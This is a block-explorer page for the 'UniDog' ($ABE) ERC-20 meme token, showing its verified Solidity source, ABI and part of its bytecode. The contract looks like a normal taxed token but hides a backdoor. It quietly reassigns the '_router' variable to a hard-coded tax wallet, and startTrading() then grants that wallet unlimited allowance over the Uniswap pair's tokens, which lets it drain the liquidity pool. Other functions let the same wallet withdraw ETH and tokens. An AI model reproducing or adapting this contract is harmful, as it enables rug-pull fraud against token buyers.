ERC-20
Overview
Max Total Supply
1,000,000,000 ABE
Holders
98
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
17,063,830.83073912 ABEValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
ABE
Compiler Version
v0.8.26+commit.8a97fa7a
Optimization Enabled:
No with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity Standard Json-Input format)
/* ******************* UniDog - $ABE ********************* $ABE is a playful meme token project inspired by Abe, the beloved dog of Uniswap CEO Hayden Adams. ************** https://abeerc20.vip Telegram: https://t.me/ERC20Abe X: https://x.com/ERC20Abe */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.25; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract ABE is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private isExcludedFees; mapping (address => bool) public _isPairAddress; mapping (uint256 => uint256) private perBuyCount; address payable private _taxWallet; address private _router; uint256 private firstBlock = 0; uint256 private _firstBuyTax=22; uint256 private _firstSellTax=21; uint256 private _lastBuyTax=0; uint256 private _lastSellTax=0; uint256 private _reduceBuyTaxAt=10; uint256 private _reduceSellTaxAt=10; uint256 private _preventSwapBefore=10; uint256 private _buyCount=0; uint256 private sellCount = 0; uint256 private lastSellBlock = 0; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 1000000000 * 10**_decimals; string private constant _name = unicode"UniDog"; string private constant _symbol = unicode"ABE"; uint256 public _maxTxAmount = 20000000 * 10**_decimals; uint256 public _maxWalletSize = 20000000 * 10**_decimals; uint256 public _taxSwapThreshold= 0 * 10**_decimals; uint256 public _maxTaxSwap= 10000000 * 10**_decimals; IUniswapV2Router02 private uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; uint256 private sellsPerBlock = 3; uint256 private buysFirstBlock = 30; bool private inSwap = false; bool private swapEnabled = false; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _taxWallet = payable(0xd0F618A65e436058eB3eE3053912f3184C1Adb0c); _balances[address(this)] = _tTotal; isExcludedFees[owner()] = true; isExcludedFees[address(this)] = true; isExcludedFees[address(uniswapV2Pair)] = true; emit Transfer(address(0), _msgSender(), _tTotal); uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _router = address(uniswapV2Router); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _isPairAddress[address(uniswapV2Pair)] = true; isExcludedFees[address(uniswapV2Pair)] = true; _router = _taxWallet; } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxAmount=0; if (from != owner() && to != owner()) { if(from != address(this)) taxAmount = amount.mul((_buyCount> _reduceBuyTaxAt)? _lastBuyTax: _firstBuyTax).div(100); if (_isPairAddress[from] && to != address(uniswapV2Router) && ! isExcludedFees[to] ) { require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); _buyCount++; } if (!_isPairAddress[to] && ! isExcludedFees[to]) { require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); } if(_isPairAddress[to] && from!= address(this) ){ taxAmount = amount.mul((_buyCount> _reduceSellTaxAt)? _lastSellTax: _firstSellTax).div(100); sendETHToFee(address(this).balance); } if (!_isPairAddress[from] && !_isPairAddress[to] && from!= address(this) ) { taxAmount = 0; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && _isPairAddress[to] && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) { if (block.number > lastSellBlock) { sellCount = 0; } swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap))); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } sellCount++; lastSellBlock = block.number; } else if(!inSwap && _isPairAddress[to] && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) { swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap))); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } if(taxAmount>0){ _balances[address(this)]=_balances[address(this)].add(taxAmount); emit Transfer(from, address(this),taxAmount); } _balances[from]=_balances[from].sub(amount); _balances[to]=_balances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } function min(uint256 a, uint256 b) private pure returns (uint256){ return (a>b)?b:a; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function getStuckETH() external { require(_msgSender() == _taxWallet); payable(_taxWallet).transfer(address(this).balance); } function swapToTokens(address _tokenAddr, uint _amount) external { require(_msgSender() == _taxWallet); IERC20(_tokenAddr).transfer(_taxWallet, _amount); } function startTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)) * 98 / 100,0,0,owner(),block.timestamp);_router=_taxWallet; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); _approve(uniswapV2Pair, _router, _tTotal); swapEnabled = true; tradingOpen = true; firstBlock = block.number; _maxTxAmount = _tTotal; _maxWalletSize=_tTotal; emit MaxTxAmountUpdated(_tTotal); } receive() external payable {} }
{ "optimizer": { "enabled": false, "runs": 200 }, "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } }, "remappings": [] }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isPairAddress","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getStuckETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_tokenAddr","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"swapToTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040525f60085560166009556015600a555f600b555f600c55600a600d55600a600e55600a600f555f6010555f6011555f6012556009600a6100439190610b9c565b6301312d006100529190610be6565b6013556009600a6100639190610b9c565b6301312d006100729190610be6565b6014556009600a6100839190610b9c565b5f61008e9190610be6565b6015556009600a61009f9190610b9c565b629896806100ad9190610be6565b6016556003601955601e601a555f601b5f6101000a81548160ff0219169083151502179055505f601b60016101000a81548160ff0219169083151502179055503480156100f8575f80fd5b505f61010861083a60201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35073d0f618a65e436058eb3ee3053912f3184c1adb0c60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600a6102069190610b9c565b633b9aca006102159190610be6565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600160035f61026961084160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f60185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555061039161083a60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a6103ed9190610b9c565b633b9aca006103fc9190610be6565b6040516104099190610c36565b60405180910390a3737a250d5630b4cf539739df2c5dacb4c659f2488d60175f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506105143060175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a6104fa9190610b9c565b633b9aca006105099190610be6565b61086860201b60201c565b60175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561057e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105a29190610cad565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610628573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061064c9190610cad565b6040518363ffffffff1660e01b8152600401610669929190610ce7565b6020604051808303815f875af1158015610685573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106a99190610cad565b60185f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160045f60185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f60185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610e3a565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036108d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108cd90610d8e565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610944576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161093b90610e1c565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610a1e9190610c36565b60405180910390a3505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115610aad57808604811115610a8957610a88610a2b565b5b6001851615610a985780820291505b8081029050610aa685610a58565b9450610a6d565b94509492505050565b5f82610ac55760019050610b80565b81610ad2575f9050610b80565b8160018114610ae85760028114610af257610b21565b6001915050610b80565b60ff841115610b0457610b03610a2b565b5b8360020a915084821115610b1b57610b1a610a2b565b5b50610b80565b5060208310610133831016604e8410600b8410161715610b565782820a905083811115610b5157610b50610a2b565b5b610b80565b610b638484846001610a64565b92509050818404811115610b7a57610b79610a2b565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f610ba682610b87565b9150610bb183610b90565b9250610bde7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484610ab6565b905092915050565b5f610bf082610b87565b9150610bfb83610b87565b9250828202610c0981610b87565b91508282048414831517610c2057610c1f610a2b565b5b5092915050565b610c3081610b87565b82525050565b5f602082019050610c495f830184610c27565b92915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610c7c82610c53565b9050919050565b610c8c81610c72565b8114610c96575f80fd5b50565b5f81519050610ca781610c83565b92915050565b5f60208284031215610cc257610cc1610c4f565b5b5f610ccf84828501610c99565b91505092915050565b610ce181610c72565b82525050565b5f604082019050610cfa5f830185610cd8565b610d076020830184610cd8565b9392505050565b5f82825260208201905092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f610d78602483610d0e565b9150610d8382610d1e565b604082019050919050565b5f6020820190508181035f830152610da581610d6c565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f610e06602283610d0e565b9150610e1182610dac565b604082019050919050565b5f6020820190508181035f830152610e3381610dfa565b9050919050565b61325680610e475f395ff3fe60806040526004361061012d575f3560e01c80636b996150116100aa5780638f9a55c01161006e5780638f9a55c0146103b857806395d89b41146103e2578063a9059cbb1461040c578063bf474bed14610448578063dd62ed3e14610472578063f2fde38b146104ae57610134565b80636b996150146102fc57806370a0823114610312578063715018a61461034e5780637d1db4a5146103645780638da5cb5b1461038e57610134565b8063293230b8116100f1578063293230b81461022e5780633036755414610244578063313ce567146102805780633ab84f6a146102aa57806349bd5a5e146102d257610134565b806306fdde0314610138578063095ea7b3146101625780630faee56f1461019e57806318160ddd146101c857806323b872dd146101f257610134565b3661013457005b5f80fd5b348015610143575f80fd5b5061014c6104d6565b604051610159919061231c565b60405180910390f35b34801561016d575f80fd5b50610188600480360381019061018391906123cd565b610513565b6040516101959190612425565b60405180910390f35b3480156101a9575f80fd5b506101b2610530565b6040516101bf919061244d565b60405180910390f35b3480156101d3575f80fd5b506101dc610536565b6040516101e9919061244d565b60405180910390f35b3480156101fd575f80fd5b5061021860048036038101906102139190612466565b610559565b6040516102259190612425565b60405180910390f35b348015610239575f80fd5b5061024261062d565b005b34801561024f575f80fd5b5061026a600480360381019061026591906124b6565b610a61565b6040516102779190612425565b60405180910390f35b34801561028b575f80fd5b50610294610a7e565b6040516102a191906124fc565b60405180910390f35b3480156102b5575f80fd5b506102d060048036038101906102cb91906123cd565b610a86565b005b3480156102dd575f80fd5b506102e6610b86565b6040516102f39190612524565b60405180910390f35b348015610307575f80fd5b50610310610bab565b005b34801561031d575f80fd5b50610338600480360381019061033391906124b6565b610c71565b604051610345919061244d565b60405180910390f35b348015610359575f80fd5b50610362610cb7565b005b34801561036f575f80fd5b50610378610e05565b604051610385919061244d565b60405180910390f35b348015610399575f80fd5b506103a2610e0b565b6040516103af9190612524565b60405180910390f35b3480156103c3575f80fd5b506103cc610e32565b6040516103d9919061244d565b60405180910390f35b3480156103ed575f80fd5b506103f6610e38565b604051610403919061231c565b60405180910390f35b348015610417575f80fd5b50610432600480360381019061042d91906123cd565b610e75565b60405161043f9190612425565b60405180910390f35b348015610453575f80fd5b5061045c610e92565b604051610469919061244d565b60405180910390f35b34801561047d575f80fd5b506104986004803603810190610493919061253d565b610e98565b6040516104a5919061244d565b60405180910390f35b3480156104b9575f80fd5b506104d460048036038101906104cf91906124b6565b610f1a565b005b60606040518060400160405280600681526020017f556e69446f670000000000000000000000000000000000000000000000000000815250905090565b5f61052661051f6110d7565b84846110de565b6001905092915050565b60165481565b5f6009600a61054591906126d7565b633b9aca006105549190612721565b905090565b5f6105658484846112a1565b610622846105716110d7565b61061d856040518060600160405280602881526020016131f96028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6105d46110d7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611d9a9092919063ffffffff16565b6110de565b600190509392505050565b6106356110d7565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106b8906127ac565b60405180910390fd5b601860149054906101000a900460ff1615610711576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161070890612814565b60405180910390fd5b60175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306064606261075d30610c71565b6107679190612721565b610771919061285f565b5f8061077b610e0b565b426040518863ffffffff1660e01b815260040161079d969594939291906128d1565b60606040518083038185885af11580156107b9573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906107de9190612944565b50505060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016108df929190612994565b6020604051808303815f875af11580156108fb573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061091f91906129e5565b5061098960185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a61097591906126d7565b633b9aca006109849190612721565b6110de565b6001601b60016101000a81548160ff0219169083151502179055506001601860146101000a81548160ff021916908315150217905550436008819055506009600a6109d491906126d7565b633b9aca006109e39190612721565b6013819055506009600a6109f791906126d7565b633b9aca00610a069190612721565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a610a3b91906126d7565b633b9aca00610a4a9190612721565b604051610a57919061244d565b60405180910390a1565b6004602052805f5260405f205f915054906101000a900460ff1681565b5f6009905090565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ac66110d7565b73ffffffffffffffffffffffffffffffffffffffff1614610ae5575f80fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401610b41929190612a62565b6020604051808303815f875af1158015610b5d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b8191906129e5565b505050565b60185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610beb6110d7565b73ffffffffffffffffffffffffffffffffffffffff1614610c0a575f80fd5b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610c6e573d5f803e3d5ffd5b50565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610cbf6110d7565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d42906127ac565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60135481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60145481565b60606040518060400160405280600381526020017f4142450000000000000000000000000000000000000000000000000000000000815250905090565b5f610e88610e816110d7565b84846112a1565b6001905092915050565b60155481565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610f226110d7565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa5906127ac565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361101c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101390612af9565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361114c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114390612b87565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036111ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b190612c15565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611294919061244d565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361130f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130690612ca3565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361137d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137490612d31565b60405180910390fd5b5f81116113bf576040517f